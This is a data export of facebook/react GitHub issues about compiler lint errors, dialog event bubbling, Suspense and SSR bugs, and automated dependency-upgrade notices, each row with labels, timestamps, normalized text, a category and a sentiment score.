- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAsghhAQL4EBmMEGBA5DAgIZx5sDcAHQB2IhAA8c+AgBMEDLlAA2hBlGG80EYQXIBPAIJYsACgCUREQQJxtYQva74AKpgQEAvCTKVqJ854AfARYCDAMuBhcGggAdMIQAO7mZkLCtCIgtEA

### Repro steps

Run eslint-plugin-react-hooks with the react-compiler rule enabled
```ts
export default function MyApp() {
  const startTime = useMemo(() => performance.now());
}
```

The error says
> Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render

I’m not sure what the right way to record this type of state is now, because react-compiler also rejects anything of the form
```ts
  const [startTime, setStartTime] = useState(null);
  useEffect(() => { setStartTime(performance.now()); }, []);
```
for “calling setState synchronously within an effect body.”

### How often does this bug happen?

Every time

### What version of React are you using?

react@19.1.1

### What version of React Compiler are you using?

eslint-plugin-react-hooks@0.0.0-experimental-97cdd5d3-20250710","Component: React Compiler,Resolution: Stale",2025-07-29 21:07:25+00:00,2026-02-09 23:14:52+00:00,12,"Component: React Compiler,Resolution: Stale",195.0885,question about calling an impure function can produce unstable results lint what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps run eslint plugin react hooks with the react compiler rule enabled the error says calling an impure function can produce unstable results that update unpredictably when the component happens to re render i m not sure what the right way to record this type of state is now because react compiler also rejects anything of the form for calling setstate synchronously within an effect body how often does this bug happen every time what version of react are you using react what version of react compiler are you using eslint plugin react hooks experimental cdd d,help,-0.9195
facebook/react,3273141704,Bug: `<dialog>` onClose and onCancel events bubbling,"React version: 19.1.1
Chrome version: 138.0.7204.169

## Steps To Reproduce

1. Click ""Open Outer Dialog""
2. Click ""Open Inner Dialog""
3. Click ""Close Inner Dialog"" or press Esc on keyboard

Link to code example:

React repro: https://codesandbox.io/p/sandbox/qkndj4
Plain JS comparison: https://codepen.io/heguro/pen/XJmNeJr

## The current behavior

In the React repro, clicking ""Close Inner Dialog"" produces the following logs:
```
inner dialog: onClose
outer dialog: onClose
div: onClose
```

In plain JS, the [close](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/close_event) and [cancel](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/cancel_event) events do not bubble, so the same operation only outputs `inner dialog: onClose`.

## The expected behavior

Should only output the following log, same as plain JS behavior:
```
inner dialog: onClose
```

## Additional context

In `packages/react-dom-bindings/src/events/DOMPluginEventSystem.js`, both `'close'` and `'cancel'` are listed in `nonDelegatedEvents`:

https://github.com/facebook/react/blob/33a2bf78c47bf3298655908eec123f5fedbebcc7/packages/react-dom-bindings/src/events/DOMPluginEventSystem.js#L233-L250

However, in `packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js`:

https://github.com/facebook/react/blob/33a2bf78c47bf3298655908eec123f5fedbebcc7/packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js#L199-L209

The TODO comment mentions plans to add all ... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-29 10:47:09+00:00,2025-11-22 18:06:41+00:00,4,"Status: Unconfirmed,Resolution: Stale",116.3052,onclose and oncancel events bubbling react version chrome version click open outer dialog click open inner dialog click close inner dialog or press esc on keyboard link to code example react repro plain js comparison the current behavior in the react repro clicking close inner dialog produces the following logs in plain js the close and cancel events do not bubble so the same operation only outputs the should only output the following log same as plain js behavior in both and are listed in however in the todo comment mentions plans to add all truncated,bug,-0.25
facebook/react,3269961428,Bug: react-dom/client does not provide an export named 'createRoot',"When I use vite create a react project, and use `yarn link` command to link react module after `yarn build`
<img width=""600"" height=""199"" alt=""Image"" src=""https://github.com/user-attachments/assets/b2f47cf8-b7b3-444a-ac28-dd88d5490cdd"" />

React version: 19.1.1

## Steps To Reproduce

1.Clone react source code to local.

2.I follow this article [https://legacy.reactjs.org/docs/how-to-contribute.html](url) step by step after `yarn build`.

3.Run command
`cd build/oss-stable`
`cd react`
`yarn link react`
`cd ../react-dom`
`yarn link react-dom`
`cd ../scheduler`
`yarn link scheduler`

4.Use the vite to create a simple react javascript project.
`yarn create vite my-react` # choose React and Javascript
`cd my-react`
`yarn install`
`yarn link react`
`yarn link react-dom`
`yarn link scheduler`

5.Run simple react project
`yarn dev`

6.Visit the page in chrome and open the console. I saw the error thrown in the above picture.

-----

Did I miss a step or do something wrong?",Status: Unconfirmed,2025-07-28 13:38:23+00:00,2025-07-29 09:25:18+00:00,2,Status: Unconfirmed,0.8242,react dom client does not provide an export named createroot when i use vite create a react project and use command to link react module after react version clone react source code to local i follow this article step by step after run command use the vite to create a simple react javascript project choose react and javascript run simple react project visit the page in chrome and open the console i saw the error thrown in the above picture did i miss a step or do something wrong,bug,-0.5423
facebook/react,3269221028,[Compiler Bug]: Inconsistent errors between React Compiler Playground and latest experimental npm package,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/laug/test-react-compiler-errors

### Repro steps

Identical source code produces an error using the latest experimental npm package, but produces no error in the playground, nor when using a locally built package from the current main branch of the repo.

1) **Npm package** experimental version used: [0.0.0-experimental-2db0664-20250725](https://www.npmjs.com/package/eslint-plugin-react-compiler/v/0.0.0-experimental-2db0664-20250725) (**has error**)
2) **Playground** link: [link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHYIB4AcIwAuABACYIBmAhlADYkVQZyECWEGxAgrrgBQBKYsEzFiMBIVic+osQB4AKgjCEASgiosAwhAC2uVrQQwACjAi5iegJ64LuALwByABYJatCM+IB6AHxyApgAvpiYjMxsHMSQeggAYkws7Bh8GFTxyLGEMKwYAOZCIpzEcByQxgB0XgXpmQgCANxyElIwnMBl0BiE2QAsxCEtGGEYmDj4RMSRKTHKqhpahLoGRibmlrKlXbb2lkPZu3YO2ap5hUOYxeGlvr7EyfrxvcSErqxgxLT5CG8QxAAbiZWBQbG93MRcLQqDYChYmKQyBAVOIEFMSD9evkCsQTBYYGBkHJ7tYTpYqlRiI5iABGPwPACiMAJ2XenyBVFoUD+cCoGAwEBIACM-noIKRQawEKRbmJyhhVMRXPzSMYYNTiIJqf5hHJ5RUSBIwHQSDS4olktE0nsHM0GVCqGAvu8-vtcHKxA69FBCFRCH9XWiTfR9cHTVVykwzXSRl6HVRhRBgd9fmUaGBUVi2J... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-07-28 10:18:28+00:00,2025-07-29 22:45:04+00:00,7,"Type: Bug,Status: Unconfirmed",1.5185,compiler bug inconsistent errors between react compiler playground and latest experimental npm package what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps identical source code produces an error using the latest experimental npm package but produces no error in the playground nor when using a locally built package from the current main branch of the repo npm package experimental version used experimental db has error playground link link truncated,bug,-0.9287
facebook/react,3267002404,[Compiler Bug]:  Compiler does not optimize functions unless manually memoized,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZyEBmMEGBA5DGRfQNwA6Adl5VJxWgicCAcwR4AkgBMAynlwIAFAEoCwLgQIAbcQTRSCAXgIAGDsIJM8sYb355BwsXgCqnNAEcoCaSrUbNS3EbAgADfQBaABJgAGpY-QBfUPNNRPN0rjghMEJnN09vaSNRcWk5BRVzHj4BIQIoMB8pP3ULKxD89y9mqq5Erhr7Rwam6QB1NDwACxcmgFkEDAhWgI6YYRJyPAA6RoRF5cU-QwA+UtduopblABoCAG0AXWUMwc47OuF9ianZprkpDwSlUbU02U4uUe+ieJS2FD2ALwQKUXUKvWUyjWwQ2eikb04IESQA

### Repro steps

I've noticed that the React compiler doesn't memoize a function (e.g. getUniqueId) returned from a custom hook, even though it's referentially stable. When I manually wrap the return value in React.useMemo, the compiler optimizes it correctly. Is this expected behavior?

Source Code:
```typescript
import React from 'react';

function getIdStore() {
  let id = 0;
  return function getUniqueId() {
    return `id-${++id}`;
  };
};
const getUniqueId = getIdStore();

function useId() {
  return getUniqueId();
}

function useIdWithUseMemo() {
  return React.useMemo(() => getUniqueId(), []);
}

function useIdWithUseState() {
  const [id] = React.useState(getUnique... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-07-27 11:13:22+00:00,2025-07-28 01:26:08+00:00,4,"Type: Bug,Status: Unconfirmed",0.5922,compiler bug compiler does not optimize functions unless manually memoized what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps i ve noticed that the react compiler doesn t memoize a function e g getuniqueid returned from a custom hook even though it s referentially stable when i manually wrap the return value in react usememo the compiler optimizes it correctly is this source code typescript import react from react function getidstore let id return function getuniqueid return const getuniqueid getidstore function useid return getuniqueid function useidwithusememo return react usememo getuniqueid function useidwithusestate const id react usestate getunique truncated,bug,0.6336
facebook/react,3265788232,Bug: Issue in the sidebar components with still using hsl,"It looks like the sidebar component still use HSL in here:
```
const sidebarMenuButtonVariants = cva(
  ""peer/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm outline-hidden ring-sidebar-ring transition-[width,height,padding] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 group-has-data-[sidebar=menu-action]/menu-item:pr-8 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-[active=true]:bg-sidebar-accent data-[active=true]:font-medium data-[active=true]:text-sidebar-accent-foreground data-[state=open]:hover:bg-sidebar-accent data-[state=open]:hover:text-sidebar-accent-foreground group-data-[collapsible=icon]:size-8! group-data-[collapsible=icon]:p-2! [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0"",
  {
    variants: {
      variant: {
        default: ""hover:bg-sidebar-accent hover:text-sidebar-accent-foreground"",
        outline:
          ""bg-background shadow-[0_0_0_1px_hsl(var(--sidebar-border))] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_hsl(var(--sidebar-accent))]"",
      },
      size: {
        default: ""h-8 text-sm"",
        sm: ""h-7 text-xs"",
        lg: ""h-12 text-sm group-data-[collapsible=icon]:p-0!"",
      },
    },
    defaultVariants: {
      variant: ""default"",
      size: ""default"",
    },
  },
);
```

T... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-26 15:12:32+00:00,2025-11-10 08:08:03+00:00,6,"Status: Unconfirmed,Resolution: Stale",106.7052,issue in the sidebar components with still using hsl it looks like the sidebar component still use hsl in here t truncated,bug,0.3612
facebook/react,3265117004,Bug: Too much uncessary scrolling,Tabs can be used to avoid unncessary scrolling .,Status: Unconfirmed,2025-07-26 04:55:54+00:00,2025-07-27 22:30:08+00:00,2,Status: Unconfirmed,1.7321,too much uncessary scrolling tabs can be used to avoid unncessary scrolling,bug,-0.296
facebook/react,3264884599,Bug: [React 19] Script tags not executing when embedded in components.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

Embedding a `<script>` tag [according to the documentation](https://react.dev/reference/react-dom/components/script#rendering-an-external-script) does not execute the contents of the script. It seems straightforward, but am I missing something?

React version: 19.1

## Steps To Reproduce

1. Set up a base React app.
2. Include a `<script>` tag anywhere in a component.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

`package.json`
```json
{
  ""main"": ""/index.js"",
  ""scripts"": {
    ""start"": ""react-scripts start"",
    ""build"": ""react-scripts build""
  },
  ""dependencies"": {
    ""react"": ""19.1.0"",
    ""react-dom"": ""19.1.0"",
    ""react-scripts"": ""5.0.1"",
    ""html-format"": ""1.1.7""
  },
}
```

`public/index.html`
... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-26 02:14:49+00:00,2026-05-03 06:55:56+00:00,13,"Status: Unconfirmed,Resolution: Stale",281.1952,react script tags not executing when embedded in components of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed embedding a tag according to the documentation does not execute the contents of the script it seems straightforward but am i missing something react version set up a base react app include a tag anywhere in a component your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example truncated,bug,-0.9022
facebook/react,3264654910,Bug: Improve error message when function is passed as JSX child,"## Summary
When developers accidentally pass a function as a JSX child (a common mistake for React beginners), the current error message is technically correct but not helpful for debugging and doesn't suggest the most common solution.

## React version
19.x (current stable)

## Steps To Reproduce
1. Create a React component that renders a function directly as a child:
```jsx
function App() {
  const handleClick = () => console.log('clicked');
  return <div>{handleClick}</div>; // Missing parentheses - should be {handleClick()}
}

2. Run the component
3. Observe the error message in the console

Current Behavior
The error message shows:
Warning: Functions are not valid as a React child. This may happen if you return a Component instead of <Component /> from render.
Expected Behavior
The error message should provide more specific guidance for the most common scenarios:
Warning: Functions are not valid as a React child. This may happen if:
- You forgot to call the function: use {functionName()} instead of {functionName}
- You meant to render a component: use <ComponentName /> instead of {ComponentName}
- You intended to pass the function as a prop to a child component
Link to code example
A simple reproduction case can be created by rendering any function directly as JSX content without calling it.
Additional Context
This error is frequently encountered by React beginners, and the current message doesn't point toward the most common solution (missing parentheses when calling a ... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-25 23:41:53+00:00,2025-10-31 01:33:21+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0774,improve error message when function is passed as jsx child summary when developers accidentally pass a function as a jsx child a common mistake for react beginners the current error message is technically correct but not helpful for debugging and doesn t suggest the most common solution react version x current stable create a react component that renders a function directly as a child jsx function app const handleclick console log clicked return handleclick missing parentheses should be handleclick run the component observe the error message in the console current behavior the error message shows warning functions are not valid as a react child this may happen if you return a component instead of from render the error message should provide more specific guidance for the most common scenarios warning functions are not valid as a react child this may happen if you forgot to call the function use functionname instead of functionname you meant to render a component use instead of componentname you intended to pass the function as a prop to a child component link to code example a simple reproduction case can be created by rendering any function directly as jsx content without calling it this error is frequently encountered by react beginners and the current message doesn t point toward the most common solution missing parentheses when calling a truncated,bug,-0.9605
facebook/react,3258968029,[Compiler Bug]: Component defined inside function cause incorrect optimization,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZyEBmMEGBA5DGRfQNwA6AdlwgB474ClKJwpoInAgHMEeAJKcsUPAApSASgLAuBAnAlhCAdRiksWBDAIBeAis3WAfFp269BwgAtSnACYAbBABhb04ZGzsHZ21JN11SADoJEJ8Zew5Y3QBfDK5XXSY8WEkVfLcAHjRFZTK45NCZa2BQgOCGhCzagkcu8oB6KqU8HsyCdQzs3NjC4oITMwsYLk7OECygA

### Repro steps

Source code:
```
import React from 'react';

export function getInput(a) {
  const Wrapper = () => {
    const handleChange = () => {
      a.onChange();
    };


    return (
      <input
        onChange={handleChange}
      >
      </input>
    );
  };

  return Wrapper
}

```

After React Compiler, the `handleChange` function was hoisted with function level variables(here is the argument `a`, but it can be any variables defined inside `getInput`)
```
import { c as _c } from ""react/compiler-runtime"";
import React from ""react"";

export function getInput(a) {
  const Wrapper = () => {
    const $ = _c(1);
    const handleChange = _temp;
    let t0;
    if ($[0] === Symbol.for(""react.memo_cache_sentinel"")) {
      t0 = <input onChange={handleChange} />;
      $[... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-07-24 08:17:01+00:00,2025-08-27 17:59:27+00:00,1,"Type: Bug,Component: React Compiler",34.4045,compiler bug component defined inside function cause incorrect optimization what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps source code after react compiler the function was hoisted with function level variables here is the argument but it can be any variables defined inside import c as c from react compiler runtime import react from react export function getinput a const wrapper const c const handlechange temp let t if symbol for react memo cache sentinel t truncated,bug,-0.0387
facebook/react,3257157845,Bug: ,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-07-23 17:23:11+00:00,2025-08-07 21:21:03+00:00,0,Status: Unconfirmed,15.1652,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3253877914,"Bug: Exception thrown by Error Boundary after production build in React 19, not visible in UI but reported via monitoring","After deploying my application using React 19 to production, I intermittently receive error notifications triggered by my custom error boundary (i.e., componentDidCatch in a class-based ErrorBoundary component).

The strange behavior is:
	•	These exceptions do not appear in the UI — the app works as expected visually.
	•	The error seems to occur only after the app has been used for a few days post-deployment.
	•	I am able to catch the exception via monitoring tools (e.g., Sentry, LogRocket, etc.), but cannot reproduce it or observe any direct malfunction in the UI.
	•	This was not happening with React 18, and only began after migrating to React 19.

⸻

Reproduction steps

Unfortunately, the issue is hard to reproduce consistently, but here’s the general flow:
	1.	Deploy app to production using React 19.
	2.	Use the app normally for a first time.
	3.	Receive exception reports from componentDidCatch (without seeing any UI impact).
	4.	The component tree that fails is not removed or visibly broken.

⸻

Expected behavior
	•	If an exception is thrown and caught by an error boundary, I expect it to show a fallback UI (or at least interrupt rendering).
	•	Silent failures with no visible issues but background error boundary triggers are unexpected.

⸻

Actual behavior
	•	Exception is thrown in production and caught by componentDidCatch.
	•	No fallback UI is rendered.
	•	No visual issues seen by users.
	•	Only monitoring tools detect the issue.

⸻

Additional context
	•	Using ErrorBou... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-22 19:45:44+00:00,2025-10-28 18:08:06+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.9322,exception thrown by error boundary after production build in react not visible in ui but reported via monitoring after deploying my application using react to production i intermittently receive error notifications triggered by my custom error boundary i e componentdidcatch in a class based errorboundary component the strange behavior is these exceptions do not appear in the ui the app works as expected visually the error seems to occur only after the app has been used for a few days post deployment i am able to catch the exception via monitoring tools e g sentry logrocket etc but cannot reproduce it or observe any direct malfunction in the ui this was not happening with react and only began after migrating to react reproduction steps unfortunately the issue is hard to reproduce consistently but here s the general flow deploy app to production using react use the app normally for a first time receive exception reports from componentdidcatch without seeing any ui impact the component tree that fails is not removed or visibly broken if an exception is thrown and caught by an error boundary i expect it to show a fallback ui or at least interrupt rendering silent failures with no visible issues but background error boundary triggers are unexpected exception is thrown in production and caught by componentdidcatch no fallback ui is rendered no visual issues seen by users only monitoring tools detect the issue using errorbou truncated,bug,-0.9948
facebook/react,3242169718,Bug: [React 19] Suspense fallback with periodic state updates causes suspense children with slow render functions to never show,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0

## Steps To Reproduce

1. Go to the example project.
2. Tweak the compute iterations (simulating a slow render function) to a sufficiently large number.

Link to code example: https://stackblitz.com/edit/react-mwegmaqm?file=App.jsx

Reproduced here:

```
import React, { useState, useEffect, use } from 'react';

const LOADING_UPDATE_INTERVAL = 10;

// Setting this value to a large number such that slowCompute() takes longer than the LOADING_UPDATE_INTERVAL means that the suspense will always show the fallback.
const DELAY_ITERS = 200_000;
function slowCompute() {
  for (let i = 0; i < DELAY_ITERS; i++) crypto.randomUUID();
}

// A loading fallback that updates itself, for example to display some cute loading messages.
function Loading() {
  const [count, setCount] = useState(0);
  useEffect(() => {
    const interval = setInterval(() => {
      setCount((prev) => prev + 1);
    }, LOADING_UPDATE_INTERVAL);
    return () => clearInterval(interval);
  }, []);
  return <>Waiting for {count} </>;
}

// The child that renders slowly, in practice this might be a large data table.
function SlowThing(props) {
  const v = use(props.promise);
  slowCompute();
  return <>Loaded</>;
}

const App = () => {
  const promise = new Promise((... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-18 07:07:15+00:00,2026-01-23 03:34:55+00:00,9,"Status: Unconfirmed,Resolution: Stale",188.8525,react suspense fallback with periodic state updates causes suspense children with slow render functions to never show of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version go to the example project tweak the compute iterations simulating a slow render function to a sufficiently large number link to code example reproduced here import react usestate useeffect use from react const loading update interval setting this value to a large number such that slowcompute takes longer than the loading update interval means that the suspense will always show the fallback const delay iters function slowcompute for let i i delay iters i crypto randomuuid a loading fallback that updates itself for example to display some cute loading messages function loading const count setcount usestate useeffect const interval setinterval setcount prev prev loading update interval return clearinterval interval return waiting for count the child that renders slowly in practice this might be a large data table function slowthing props const v use props promise slowcompute return loaded const app const promise new promise truncated,bug,0.5023
facebook/react,3241420672,Bug: `React.use` inside `React.lazy`-ed component returns other `React.use` value on SSR,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0, 19.2.0-canary-dffacc7b-20250717

## Steps To Reproduce

Run a following code:

```js
// [Component Tree]
// 
// Component1 -> use(promise1)
//   Component2Lazy
//     COmponent2 -> use(promise2)

import React from ""react"";
import ReactDOMServer from ""react-dom/server.edge"";

const promise1 = Promise.resolve(""value1"");
const promise2 = Promise.resolve(""value2"");

function Component1() {
  const data = React.use(promise1);
  console.log(""[Component1] React.use(promise1) ="", data);
  return React.createElement(
    ""div"",
    null,
    `Component1: ${data}`,
    React.createElement(Component2Lazy),
  );
}

function Component2() {
  const data = React.use(promise2);
  console.log(""[Component2] React.use(promise2) ="", data);
  return React.createElement(""div"", null, `Component2: ${data}`);
}

const Component2Lazy = React.lazy(async () => ({ default: Component2 }));

function App() {
  return React.createElement(""div"", null, React.createElement(Component1));
}

async function main() {
  console.log(""react"", React.version);
  console.log(""react-dom"", ReactDOMServer.version);
  try {
    const stream = await ReactDOMServer.renderToReadableStream(React.createElement(App));
    let html = """";
    await stream.pipeThrough(new TextDeco... [TRUNCATED]","Type: Bug,Component: Server Rendering",2025-07-18 00:42:48+00:00,2025-07-28 08:36:09+00:00,5,"Type: Bug,Component: Server Rendering",10.3287,inside ed component returns other value on ssr of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version canary dffacc b run a following code js component tree component use promise component lazy component use promise import react from react import reactdomserver from react dom server edge const promise promise resolve value const promise promise resolve value function component const data react use promise console log component react use promise data return react createelement div null react createelement component lazy function component const data react use promise console log component react use promise data return react createelement div null const component lazy react lazy async default component function app return react createelement div null react createelement component async function main console log react react version console log react dom reactdomserver version try const stream await reactdomserver rendertoreadablestream react createelement app let html await stream pipethrough new textdeco truncated,bug,0.9705
facebook/react,3241165013,Update webpack-manifest-plugin from ^4.0.2 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **webpack-manifest-plugin**.

### Current Version
- **^4.0.2**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** A Webpack Plugin for generating Asset Manifests
- **Homepage:** https://github.com/shellscape/webpack-manifest-plugin

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack-manifest-plugin@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:58+00:00,2025-07-19 01:49:25+00:00,0,nan,1.1239,update webpack manifest plugin from to breaking change warning a major version update is available for webpack manifest plugin current version latest version package information description a webpack plugin for generating asset manifests homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.4404
facebook/react,3241164988,Update webpack-dev-middleware from ^5.3.4 to 7.4.2,"## Breaking Change Warning
        
A major version update is available for **webpack-dev-middleware**.

### Current Version
- **^5.3.4**

### Latest Version
- **7.4.2**

### Package Information
- **Description:** A development middleware for webpack
- **Homepage:** https://github.com/webpack/webpack-dev-middleware

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack-dev-middleware@7.4.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:57+00:00,2025-07-19 02:15:16+00:00,1,nan,1.1419,update webpack dev middleware from to breaking change warning a major version update is available for webpack dev middleware current version latest version package information description a development middleware for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164961,Update undici from ^5.20.0 to 7.11.0,"## Breaking Change Warning
        
A major version update is available for **undici**.

### Current Version
- **^5.20.0**

### Latest Version
- **7.11.0**

### Package Information
- **Description:** An HTTP/1.1 client, written from scratch for Node.js
- **Homepage:** https://undici.nodejs.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install undici@7.11.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:56+00:00,2025-07-19 02:15:18+00:00,4,nan,1.1419,update undici from to breaking change warning a major version update is available for undici current version latest version package information description an http client written from scratch for node js homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164940,Update tailwindcss from ^3.0.2 to 4.1.11,"## Breaking Change Warning
        
A major version update is available for **tailwindcss**.

### Current Version
- **^3.0.2**

### Latest Version
- **4.1.11**

### Package Information
- **Description:** A utility-first CSS framework for rapidly building custom user interfaces.
- **Homepage:** https://tailwindcss.com

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install tailwindcss@4.1.11
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:56+00:00,2025-07-19 02:15:20+00:00,1,nan,1.1419,update tailwindcss from to breaking change warning a major version update is available for tailwindcss current version latest version package information description a utility first css framework for rapidly building custom user interfaces homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241164910,Update style-loader from ^3.3.1 to 4.0.0,"## Breaking Change Warning
        
A major version update is available for **style-loader**.

### Current Version
- **^3.3.1**

### Latest Version
- **4.0.0**

### Package Information
- **Description:** style loader module for webpack
- **Homepage:** https://github.com/webpack-contrib/style-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install style-loader@4.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:55+00:00,2025-07-19 02:15:22+00:00,1,nan,1.142,update style loader from to breaking change warning a major version update is available for style loader current version latest version package information description style loader module for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
